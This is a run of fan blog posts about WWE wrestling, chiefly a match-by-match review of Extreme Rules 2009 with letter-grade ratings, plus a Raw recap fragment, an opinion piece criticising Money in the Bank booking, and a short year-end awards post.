After about five minutes of somewhat interesting stuff, Sheamus hooks a sleeper and Cena climbs up the ropes with him on his back. This is pin, submission or escape in case you were wondering. Cena stars his usual ending sequence but of course it doesn’t work. Sheamus gets him tied up in the ropes and does a nice pose. Why he doesn’t leave through the door and then come back for the beatdown is anyone’s guess.

Sheamus climbs over him but the less white guy gets out and hits a bulldog from the top. We’re just going through the motions here but it’s picking up pretty well. Pump Kick and FU get two and HERE THEY COME! Tarver has boltcutters but they want the key anyway. The referee on the floor throws it into the crowd. FU is blocked and down goes the referee. Sheamus taps to the STFU but there’s no referee….other than the one outside that’s looking at it but whatever.

Nexus stops Cena from getting out with Gabriel climbing up to stop him. Cena knocks him into the cage but gets stopped again. Sheamus goes up and gets stopped too by Slater. He gets out though and Sheamus gets out before SPRINTING away. No Miz tonight I guess which is good.

Cena is left alone with Young and Tarver for some reason which I guess means he’s not alone. Young has less hair here too it seems. Let the beatdown begin. He rams the steps into Tarver, more or less killing him. He takes an armband and leaves, sans title to end the show.

Rating: C-. Not wild here but this was decent. The ending has gotten mixed reactions and I can certainly see that. At first I liked it but the more I think about it the more I think that it just wasn’t that exciting. We knew Nexus was coming out and we knew they would try to mess things up.

 

The ending kind of felt like the ending to a Raw show which is what’s bringing this down. The match itself wasn’t anything that great for the most part but they picked it up near the end. I don’t think anyone expected Cena to get the title back here but this was hardly something you would sleep through. Watchable but nothing great at all

OverallRating: B+. This certainly isn’t the most technically sound show of all time but it wasn’t trying to be. With three gimmick matches, a cash-in and Miz winning MITB, how can you go wrong here? This show was about flooring it the whole way and never looking back. Things like that can work once in awhile but the trick it to not rely on that too much because if you do it loses its appeal.

 

I thought this show would be awful but instead it worked incredibly well as it didn’t try to be a masterpiece and was about excitement and fun. On that merit its one of the better PPVs of the year. Like I said, don’t expect any great wrestling but expect to be entertained for the most part. There’s some bad stuff here but it’s pretty short and inoffensive and by the end it’s more or less forgotten about anyway which is how it should be. Definitely worth watching.

 

Remember to follow me on Twitter @kbreviews



Monday Night Raw – July 16, 2012: It Needs To Be Next Week RIGHT NOW!

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Date: July 16, 2012
Location: Mandalay Bay Casino, Las Vegas, Nevada
Commentators: Michael Cole, Jerry Lawler

Tag Titles: Kofi Kingston/R-Truth vs. Prime Time Players

3. Why should I care?

TOUT IT OUT!

Alberto Del Rio vs. Zach Ryder

Heath Slater vs. various legends happened on Raw. This is really one of the moments they feature.

Heath Slater vs. Rikishi

Eve Torres/??? vs. Daniel Bryan/AJ

Post match Bryan says he loves AJ and says he asked for her hand in marriage last week to become WWE Champion. Tonight though, he wants nothing. He gets on one knee and pulls out a ring. AJ says yes and they kiss.

Another Raw moment is when Rock threw the Smoking Skull belt into the river.

Jack Swagger vs. Ryback

TOUT IT OUT BABY!

TOUT IT OUT AGAIN!

Brodus Clay vs. JTG

Vince was bald on Raw once.

CM Punk vs. Big Show

Non title here. Punk tries to move away from Show and stabs with kicks to the leg of the giant. Show gets his hands on the champ and chops him in the corner before running Punk over with a shoulder. They head to the floor and Punk is in big trouble. He escapes the shoulders of Big Show and rams the bald head of the Show into the post. Back inside and here come the kicks. Punk blasts Show a bit but gets shoved right back down.

Punk gets up a boot but jumps into a bearhug and then a slam. With Show firing away shots at the ribs, Punk jumps on his back and hooks a sleeper. That gets broken up by a side slam and Punk is still in trouble. The Vader Bomb misses and Punk tries some clotheslines. They only do so much though as a backdrop puts the champ down. Show loads up the WMD but Punk ducks and hits a high kick. Another high kick staggers Show and a third one knocks him into the corner.

The knee hits in the corner as does a second one. Punk hits a third one but the bulldog is countered. Show charges but a corner splash hits the post. Punk hits the top rope elbow but Show shrugs him off at two. The springboard dropkick lands in the chokeslam but Punk gets his foot on the ropes at two. Show is all ticked off now and he sends Punk into the corner to pound away on the ribs. And there goes the referee for the DQ at 9:20.

Remember to follow me on Twitter @kbreviews



Extreme Rules 2009: Punk Does It Again

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Date: June 7, 2009
Location: New Orleans Arena, New Orleans, Louisiana
Attendance: 9,124
Commentators: Michael Cole, Tazz, Matt Striker, Jim Ross, Todd Grisham, Josh Matthews

Kind of just a filler show here as I felt like doing a modern one rather than more of the same stuff that I’d been doing. This is a year and two days old so it’s still relatively recent. This is one of those cards where everything is a gimmick match which is fine. The main event is Hardy vs. Edge in a ladder match so that should be fine. We also get Batista vs. Orton in a cage. I can live with that I guess. The card looks ok so let’s get to it.

The opening video is of all the guys and talking about how extreme this is. It’s a fairly weak video but it gets the point over, or at least I guess it does.

US Title: Kofi Kingston vs. MVP vs. William Regal vs. Matt Hardy

Well this is random. Kofi won the title 6 days ago from MVP. He beat Hardy and Regal for the title shot in the first place. This is an extreme gimmick? Sure why not. MVP is a face here…I think. Yeah he is. Regal has been hitting on Vickie to get into this. Matt gets a rather solid pop. He’s heel here which is just odd to type.

Oh and Matt still has a broken hand from Mania. MVP is the same thing that he is today. That’s all you need to know about him: he hasn’t changed a bit in a year. Regal hasn’t either but he’s more or less a jobber now so it’s not like it matters that much. Kofi hits a dive to take out every American in this match.

Then he takes out the British guy as well. It’s your usual insanity for one of these matches as we get rotating one on one matches. That works fine I think as it’s really the only way you can do these without insane choreography before it starts. Regal gets solid heel heat. He’s just so easy to hate.

Everybody but Matt gets in a Tower of Doom spot so Matt dives on them all but of course it doesn’t work. Also his hand seems to be just fine all of a sudden. For some reason I love that leg drop that Matt does from the middle rope. It’s not like there’s anything really special about it or anything.

Kofi hits a Boom Drop on Regal who is on top of Matt in a decent spot. Kofi hits that pendulum kick that seemingly every midcard face hits now. I was wrong about MVP not changing anything in a year. Now he is even worse at his belly to belly overhead suplexes. Ballin hits on Matt as we’re very close to the end. You can feel it.

Regal beats up everyone but Kofi bounces off the top rope and hits a kick to the head which is called Trouble in Paradise for the pin to retain. It looked like a one footed dropkick but whatever.

Rating: D+. Not bad I guess, but WAY too short. This wasn’t even seven minutes long and it was just kind of a mess. It’s certainly not a bad match or anything like that, but it just felt thrown together and like it was there to kill time. That’s never a good sign. Kofi’s reign is about as forgettable as you could ask one to be also.

Show says instead of asking him for his strategy, you should ask Cena for his strategy.

We recap Jericho trying to rip Rey’s mask off on Smackdown. Him dressing as a Rey fan was really smart actually.

Intercontinental Title: Rey Mysterio vs. Chris Jericho

This was one of the matches that brought credibility back to the belt. Rey is defending here. Jericho’s voice says he’s not there but up here, which is at the merchandise stand. He says Mysterio is encouraging deception by having WWE sell the masks. He does the walking to the ring through the crowd promo which is always awesome. This was when Jericho was still just completely amazing with this gimmick and even I was loving him.

Jericho wants Rey’s mask. These two tore the world apart with great matches so this should be great. Both guys know about 100 styles and can mix them up really well so I’m looking forward to this. Actually I’m not as it’s started so I’m looking at it but with a happy grin I guess. Oh and this is no holds barred for the gimmick. We start on the floor with Rey throwing pieces of a table at Jericho. They’re going at a fast pace here which is very clearly working for them.

This is one of those matches that is hard to make jokes about because you know it’s going to be good. Rey hits a nice plancha from the top to the floor. JR says Rey is being aggressive. That’s true I suppose. Actually yeah it is true. It’s strange to see Jericho being the bigger guy. We get some decent talking about the customs and traditions associated with the mask in Lucha Libre, which is very interesting stuff when someone like Tenay talks about it.

When Grisham talks about it he sounds like someone giving a high school presentation. Rey takes a Gordbuster on the floor. Dang that would have hurt. Jericho goes for the mask and you get a perfectly clean shot of Rey’s face. Ah never mind. I didn’t realize I had flipped over to a WCW show where he didn’t have it on for a long time. You get a good face shot here too but this one was less intentional I think. A really good suicide dive takes Jericho out as this has been high impact and back and forth.

What more can you ask for? The fans are appreciative of this too which always makes me smile. Jericho gets a spinning rack thing for a long two. Lionsault of course misses and Rey gets the 619. He jumps into a Codebreaker though and we’re about at even. The looks Jericho does are great. Jericho has a chair. Maybe he wants to give Rey a lap dance. Oh I forgot this was no holds barred. That explains the lack of a DQ for the chair use from both guys.

Rey sets up the chair and gets a running start but is caught in the Walls. Somehow he gets the chair and drills Jericho. Nice shot too. Rey goes for the 619 but Jericho manages to pull the mask off. Since Rey is desperately covering his face, the rollup by Jericho ends it.

Rating: A-. GREAT match here with them going back and forth with all kinds of stuff. The chair played a very limited role which makes the stipulation fairly pointless, but still this match worked so well that I can’t complain. It’s not like it didn’t get used at all so I’ll give it the benefit of the doubt. This match was great though as it turns out that when you put two guys in the ring and let them just go, things turn out well.

Ad for the Randy Savage DVD.

Josh Matthews is with Batista. We see a video from Monday where Orton and Legacy beat up Flair in a “fight” and punted him. Big Dave says Orton won’t be able to do that to him tonight. This is supposed to be big and dramatic and it just isn’t at all.

CM Punk vs. Umaga

This was a fairly weak mini feud that saw Umaga just destroy Punk at every time. Punk has MITB here and has been trying to cash it in for awhile but Umaga keeps stopping him. Oh and this is a Samoan Strap Match. Why do I not picture a lot of straps in Samoa? They’ll be tied at the wrist here and I think you win by pinfall or submission. There was never any real justification for Umaga to beat the heck out of Punk like he did but whatever.

I guess you could go with he’s a savage. I guess this is the four corner style. Blast it. There is however a helpful graphic in the corner saying how many you have in a row with Punk in green and Umaga in red. Still though I’ve never gotten a clear definition of what in succession means. I know what succession means but often times they just seemingly go with what fits best for the rules at the time. Umaga works on Punk’s arm as this match is just kind of odd.

Not sure why it is but it comes off as most odd to me. With Punk on the floor Umaga gets two buckles but instead of getting the third he goes for Punk. I didn’t know Samoans were such idiots. Aww Punk went for the GTS. That’s so cute. Grisham says Punk was undaunted. What does it mean to be daunted?

I’ve never heard of anyone being daunted but just undaunted. Fans are very behind Punk. Punk gets three but charges at Umaga instead and gets drilled. Well he deserves it for being stupid. Umaga gets three but Punk gets him to charge at him like a bull and Umaga goes to the floor. This is getting fairly repetitive.

Umaga gets pulled off the top and crashes to the mat. Punk gets three and with Umaga pulling away from him, for no explained reason at all, Umaga charges at him and gets caught in GTS so Punk can win. Ending was just stupid looking on Umaga’s part.

Rating: D. These matches were never very good and this is no exception. Also, there were far too many stupid moments here, mainly the ending. I love Punk, but this was just an incredibly pointless feud and thankfully this is the last one between them. Keep an eye on Punk though. He’s going places.

Gregory Helms is with Christian and he says that Dreamer and Swagger will lose tonight. Dreamer says Christian will lose. Swagger comes up and says they’ll both lose. Ok then.

ECW Title: Christian vs. Tommy Dreamer vs. Jack Swagger

If Dreamer loses he’s gone. This is a hardcore match so it’s pinfalls count anywhere. Who would believe Swagger would be the most successful guy a year later? So Dreamer is on a one day contract since they mistimed the whole contract thing in storyline terms. Swagger is the guy Christian beat to get the title.

We even get big match intros. Dreamer is wearing something close to silver pants. Hey, did you know that the champion is at a disadvantage here? I didn’t know if telling you that twice in 40 seconds would be enough indication. Striker says Dreamer has a Singapore Stick. Let the ECW fans freak. White Russian Leg Sweep to Swagger. Dreamer hits a front flip with a trash can behind him so that hits their faces. This is kind of sad considering what ECW was originally about.

Dreamer sets for the baseball slide but Christian stops him and does it himself. In other words, the blonde haired WWE product did the ECW original’s thing to another WWE guy. That sums up so many things so easily. The people want tables. Yeah I’m stunned too. Swagger no sells some kendo shots and hits a belly to belly on Dreamer.

We’re going with the various one on one matches here which is about as expected. Crowd is DEAD other than for the big spots. Swagger goes for the Gutwrench but Dreamer nails him with a crutch twice and hits a DDT to get the ECW Title. More on that in a bit.

Rating: D. This is your traditional “hardcore” match which means let’s hit each other with trash cans and hope the people care. This just felt completely lifeless to me and I just wanted to see it end, which isn’t something that I have issue with that often. There are far worse matches, but this just had nothing at all to it. Even Dreamer’s win, while a big moment for old school ECW fans feels flat. Let’s look at this for a minute. Imagine Christian or Swagger in the original ECW.

They come off as two guys that would get booed out of the building for some reason. Look at the size of the belt. It’s freaking huge and looks like a bad toy. Dreamer has a massive celebration and you can tell that he’s loving it and that it’s a huge deal, but you can see ECW’s already dead body just rotting away here and even me, someone that didn’t get into ECW until the last year or so when it was a shell of itself, can tell this isn’t meaning anything at all.

Look at the next segment: Vickie preparing to defend the title of Miss Wrestlemania against a guy in drag in a hog pen match. The soul of ECW is dead, and to top it off Dreamer would lose the belt in Philadelphia to Christian two PPVs later. It actually makes me sad.

So anyway, Vickie is training for her hog pen match while Chavo makes pig noises and is wearing a pig nose. Let’s get this over with.

Miss Wrestlemania: Santina Marella vs. Vickie Guerrero/Chavo Guerrero

Please, make this go quick. Seriously, this is the dumbest thing of the year and it needs to end. Lawler is the host for this or something. You have to get the pin in the pen, which has hogs in it. Please just get this going as they talk forever first. Chavo is her partner and it’s 2-1. She throws mud at Chavo who is in street clothes and he beats her up.

So they’re in a mud pen and have to be thrown into the other one and then pinned. Oh wait they can come back out of the one with the pigs and get pinned in the bigger one. Vickie comes in and Chavo accidentally slops her….shoulder. Santina pins her and this is thankfully over. Vickie and Chavo fight in the mud as Cole and Lawler are laughing, likely by Vince’s orders. Santina celebrates forever as this segment has gone on longer than all but one match so far.

Rating: N/A. Give me a match and I’ll rate it.

Ad for Summerslam, which was a good show if I remember correctly. After checking the review for it which can easily be accessed by using the Table of Contents thread on the top of the Old School Reviews section, I was right as I gave it an A-.

We recap Batista vs. Orton, which was of course about Flair. I was there for the announcement of the cage match on a Raw that completely sucked. Flair was really annoying at this point as even Orton asked him if he was retired or not. Flair got punted and I think never came back.

Goldust and Horny make fun of Vickie and Chavo. Edge is sitting in Vickie’s office and Edge makes fun of her. They’re still married but they’re arguing here. Edge says they’re getting a divorce.

Raw World Title: Randy Orton vs. Batista

This is a cage match. Orton has been really evil lately and Batista is mad at him for kicking Flair, even though a lot of people are glad about it. Batista gets a very solid face pop. Orton is dangling from the top of the cage less than 30 seconds in. Well at least they’re not wasting time. Basically Orton is running for his life here but Batista keeps catching him.

In less than three minutes, Orton has almost been out three times. I sense a theme. Four times in three and a half minutes. Well at least he’s consistent. It amazes me how evil he can be at this point and how over he is a year later. Orton throws him into the cage and everyone is tired like 5 minutes into this. I get that the cage is deadly but come on now people. Punt misses and Orton runs again.

Batista Bomb and RKO are countered but the Bomb hits and gets three in SEVEN FREAKING MINUTES??? Yes, this match is over in just barely over seven minutes. WHAT THE HECK? Well it would turn out that Batista had a torn bicep and he would vacate the belt on Tuesday. The following Monday Orton would win it back in a match on Raw, making this title change, say it with me, TOTALLY POINTLESS!

Rating: F+. Seriously, I’ve seen longer cage matches at house shows. I get that the match was booked and had to be all short and stuff, but that doesn’t mean it’s acceptable. This was just bad all around, mainly due to it being way too short and like half of it being Orton trying to run. You could tell something was up here though so I guess it makes sense.

We recap Big Show vs. Cena. In essence, it’s just that Show is too big to get the STF on so we’re having a submission match so that Cena can look great in winning.

Big Show vs. John Cena

Ok so there’s an hour left in the show and we have two matches left. That’s not a good sign. We get a quick ad for the Bash which is a really good show if I remember correctly. Cena’s arms are freaking scary looking here. Cena goes for the leg which makes sense but it only works twice. Show’s finisher is the Colossal Clutch which is the reverse chinlock that looks like it would hurt bad.

Does Cole have Show’s shoe size tattooed into his memory or something? He mentions it in every match Show is in it feels like. In a nice looking spot, Cena goes for a bulldog and Show just pushes him out of the ring. That looked awesome. The flying shoulder doesn’t work at all which is a great visual.

This match is pretty boring. The audio on the commentary goes way down in volume which is always fun. Show goes for a full nelson. Who is nelson that he gets like three moves named after him? This is going SO slow and it’s rather annoying. Cena gets a sleeper which is smart. At least he’s thinking.

It’s actually more like a choke but whatever. It amazes me that a guy can manage to be strangled for about 45 seconds by a guy that is ridiculously strong and still be, you know, alive. Show hits the Alley-Oop which is just awesome every time I see it. Again, this is a rather boring match. Now Show is working on the back and ribs. Could this match be any more paint by numbers? This match is just crawling by with nothing of interest at all going on.

Show pulls on Cena’s neck which works on his back somehow but never actually goes for a hold. Crowd isn’t dead but they’re rather sick. Vader Bomb misses. Cena can’t slam him. I want this to end. Is Show hugging him? It’s not a bad hold I guess but it’s boring. Cena is on the floor and nothing of note is happening.

It’s just them plodding around filling time. Maybe if they gave the opener more than 6 minutes this could have been shorter and therefore watchable. We’ve probably spent 5 minutes just standing around with Show looking down at Cena. Oh look it’s an abdominal stretch. Chokeslam is countered into a DDT and AGAIN he can’t hook the STFU. Cole says Cena is showing signs of life. I guess that means besides the whole walking, breathing, moving and looking around.

Hey, let’s have a bearhug now since that’s oh so riveting. Cena hits the FU but can’t get the STFU. The Knockout Punch hits. Can we watch a Knockouts match instead? Cena hits the top rope Fameasser and we get to the really stupid ending as Cena ties Show’s leg in the rope and hooks the STFU that was.

The problem is Show’s leg COMES UNDONE so it’s just a crossface. And there’s the tap, thank goodness. Cole saying Cena has done another miracle sums things up pretty well I’d say. You know, because I just said it.

Rating: F+. Oh sweet goodness this was bad. I have never been so bored in a match, and somehow that’s not an exaggeration. This was just painfully boring as NOTHING happens for about half of this match which went like twenty minutes. Just terribly boring and while the ending was creative, the botch made things just look awful.

Edge and Hardy get the big long video. This felt like a big match and with Edge saying something like Hardy makes highlight reels but Edge wins world titles, I was excited for this one.

Smackdown World Title: Edge vs. Jeff Hardy

There must be 15 ladders around the ring and the aisle. Of course Roberts tells us that this is a ladder match since we never could have figured that one out on our own. Edge is champion here. Hardy really was a big deal back then. Wow a year ago is now considered back then. That’s odd to hear. Seriously, how weird is it to see Jeff Hardy vs. Edge in the main event of a pay per view?

This crowd has been DEAD all night and it’s rather annoying me. Why is a running shoulder in the corner different than a spear? And to anyone thinking “because it’s in a corner”, shut up. Jeff goes for a small ladder but it goes into his ribs.

Ross reminds us that the ladders aren’t going to give, even though these two were the first people to break one of them at MITB earlier in this year I believe. Or was that a year before? Does it matter? It was more than a week ago so it’s fair game as far as erasing it goes. Ok so it’s a spear when there’s a ladder between Hardy and the corner but not when there’s no ladder? Sure why not.

Edge smashes Jeff’s leg in between a ladder and then hooks a Sharpshooter while Hardy is lying on the ladder. Hardy actually taps which is surprising if nothing else. I love the spots where the ladder is knocked out from under someone. Those are always awesome looking. In a NICE spot, Edge takes a gordbuster onto an inverted ladder on the parts that spread out to brace the ladder. FREAKING OW!

It’s big ladder time now and Jeff gets on top of it and tries to lean it over so it’ll fall and he’ll be able to grab the belt. Well that’s original at least I guess. It never ceases to amaze me when people pull out new spots with the ladders like Kofi and the stilts at Mania this year. It works to an extent but Edge makes the save.

Ross says he jerks him down which is a better description than when he said Lita jerked Edge off at Mania X7. Jeff lands on his leg so that’s hurt now. And of course he hits Whisper in the Wind off the ladder just after that. We’re on the floor now with a ladder set up between the railing and the ring like a bridge if you know what I mean. Jeff gets launched into the front row. Ross says he went sailing. There’s a funny skit with Hardy as a sailor in there somewhere.

Edge is set on the ladder that was a bridge and Hardy climbs up another one. Edge gets up and climbs Hardy’s ladder and yep they both go through the ladder “that won’t give a bit”. As in the ladder is broken and bent and stuff. And there goes the referee once we’re back in the ring. Ah there’s another one. That’s better.

Jeff climbs the big one in the middle of the ring and Edge climbs one in the corner. Edge goes for the big spear like at Mania X7 but Hardy catches him in a Diamond Cutter (called a Twist of Fate but I can live with that one). They’re both on the big ladder and fight it out up there but Hardy drops down and in a brilliant spot pulls Edge down THROUGH the rungs of the ladder so that his arms are the only things stopping him from going down to the mat. That’s enough for Hardy to win it.

Rating: B+. Very solid main event here with the two masters of the ladder match doing what they do best and making it seem like a big deal. Not sure what but it was missing something from making it a classic, but it’s still great. These two have insane chemistry together and this is no exception. Great match and nearly a great way to close the show. I say nearly because the show isn’t quite over yet.

JR goes into the ring to talk to Hardy…..AND CUE PUNK’S MUSIC! It’s time for an MITB CASH IN!

Smackdown World Title: CM Punk vs. Jeff Hardy

Hardy can’t even stand up and there’s the GTS for 2. Punk’s heat is molten here as no one likes this other than me. I fell asleep during the ladder match when this aired and woke up to hear Hardy win. I closed my eyes again and heard Punk’s music. I FREAKED. A second GTS gives Punk the title.

I won’t bother with a rating obviously, but the first thirty seconds here were obviously harkening back to Gotch vs. Hackenschmidt but over the next fifteen seconds they really let things go as it turned very sloppy. The last 15 seconds saved it though as they were clearly channeling Steamboat and Flair other than about 2 seconds in the middle there. Punk’s current heel persona would kind of debut next month.

Overall Rating: D+. While there are two great matches on here, after that it just has nothing. And when I say nothing I mean NOTHING. The problem is that there’s a difference between being just a waste of time and being a bad waste of time. This would be the latter. Other than the IC and ladder matches, there is NOTHING here.

The problem with the IC match is the rematch next month is even better, so there is absolutely no reason to see this show. Punk’s first cash in was far better too, so there is just nothing of note here. The ladder match is good, but it certainly doesn’t save the show. Not recommended at all, but the IC match and ladder match are worth seeing if you’re bored.

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I Want To Talk A Little Bit About Money In The Bank

Money in the Bank has ruined a lot about wrestling. It causes multiple problems and is a major reason why the world titles don’t mean anything anymore. Granted there are other reasons like automatic rematch clauses but we’ll get into those later. Anyway, there are a lot of things that MITB does which hurts wrestling and I felt like talking about them a bit so let’s get to it.

First and foremost, the title changes mean NOTHING. A few years ago at a PWG show in California, Kevin Steen gave someone three package piledrivers then put his six month old son on top of the guy that took the piledrivers and counted three, making the son undefeated as a wrestler. It was cute and everyone laughed and all that jazz. It was ok because it didn’t mean anything and was used to make a joke. WWE does the same thing, including once at Summerslam last year in front of 17,000 people at the biggest show of the year.

Let’s take either Alberto’s or Bryan’s win as an example here. Those wins don’t prove anything. There was a battle royal once where Jimmy Hart hid under the ring for the whole match but then ran in after everyone else was eliminated to win the match. It was a joke and the whole place erupted in booing. I could give you a dozen examples of matches just like that. You know what the one connecting factor would be? None of them would be for the world title. MITB breaks that rule.

It’s a joke instead of a real match. The guy that cashes in hasn’t proven he’s better than the former champion. Look back to Flair in 1991 in WCW. Lex Luger never beat him, so why should people have accepted Luger as the rightful champion? There was no reason to, so no one did. It’s the same here. Why should I have accepted Bryan as the world champion? He didn’t beat Big Show. He pinned a guy that was already beaten. Yes I get that that’s the point of his heel turn, but just like everything else in wrestling, it’s been done into the ground.

This brings me to my second issue: MITB allows the writers to be lazy. MITB has become a nuclear option in case something needs to be changed in a hurry. Don’t have someone built up (Oh we’ll get to that soon enough)? Let them cash in. Someone not working as champion? Give someone a briefcase. Want to give us a surprise with no thinking to it that gives you a way out of your bad stories? Here’s MITB to the rescue!

The writers are already lazy enough. They’ve come up with so many tricks to buy themselves months off (automatic rematch clauses for example) that they don’t need to actually think anymore. The writers need all the exercise they can get to show them what works and what doesn’t, so having then being allowed to just throw something out there with no thinking to it is making things even worse.

Don’t believe me that they need to be made to think? Flash back to the Attitude Era. The company was in big trouble and had to be pushed harder and harder to come up with new storylines. What was the result? Compelling storylines that had people glued to their sets every week to see what happened next. Now you get the same story every year. And their solution to the problem? DOUBLE THE AMOUNT OF CASES!!!

That ties into the next problem with the cases: they’re repetitive. At the end of the day, the winner has a perfect record with it. The shock value of it is fine for a few moments, but there’s nothing new to them. It’s like watching a great movie for the first time then watching the story being rehashed in a bunch of sequels. It’s cool the second time but after that, it really starts to get dull because you’ve seen it time after time.

Somehow the process needs to be switched up. First of all, drop it down to less competitors in the ladder match. Eight people is just WAY too many as you can’t keep track of what’s going on and it drains the rest of the card because everyone is in the ladder match. Cut it down to five or six and things would be much more interesting. The other thing, which has been beaten into the ground over the years but needs to be said again, is that someone needs to lose their cash-in attempt.

Money in the Bank was built on the idea of it could happen at anytime. When Edge originally cashed in, it was shocking because you didn’t see it coming. It’s a legit surprise and a great moment because it fits in with the idea that Edge was the ultimate opportunist. The second one at least had a twist on it as the cash-in was announced in advance to build to a match. Since then though, it’s been one surprise after another.

These are indeed cool at the moment but they need something changed about them. After the cash-in, the shock is gone and you’d left realizing how weak of a champion that person has become. In order to rebuild the shock value, they need to slow things down. This could be done by either cutting the amount of cases down to one, or having the surprise element taken out. Have someone cash in at a designated time like RVD did. Use it on a major Raw or at a PPV.

Daniel Bryan talked about doing it that way and cashing in at Wrestlemania, but at the end of the day we get the same thing all over again: someone cashing in as a surprise when the champion was down and the title change means nothing. Instead, spend the next few cash-ins on matches that are announced in advance. If nothing else it lets you build up to something instead of hoping that the people watch in hopes of seeing a cash-in.

However in the modern world of WWE, that’s as likely as a Diva having a match last longer than five minutes or most people caring about it. The idea is that bigger and more is better, which isn’t the case but in Vince’s mind it is. Money in the Bank is possibly not going to be its own PPV this year which would be a step in the right direction, but I doubt they’ll keep things going that way because that’s not how WWE works.

In summation, Money in the Bank is fine in the short term if you need something fixed, but the problems with it outweigh the good. It furthers the idea of being lazy in creative is ok and that there’s no need to give the fans a reason to care about guys as long as you do something that shocks them. It’s rationale like that which hurt WCW and look how well they did.

The idea can be fixed but it might be too far gone. If it were up to me, I’d drop the concept. Yeah imagine that: a guy having to earn a title shot and then win the title without someone else doing all the work. Unfortunately that’s probably not going to happen because at the end of the day, this is the WWE and they’re going to use the easiest method possible anymore, which is why things are weaker lately.



EOTY Awards – Show of the Year

And I mean PPV, not Raw/Impact etc.It’s hard to go against Money in the Bank.  I mean, you had two great matches and one classic with a great moment to end it.  Just an all around great show and nothing all year comes close to it.

 

Your picks/thoughts?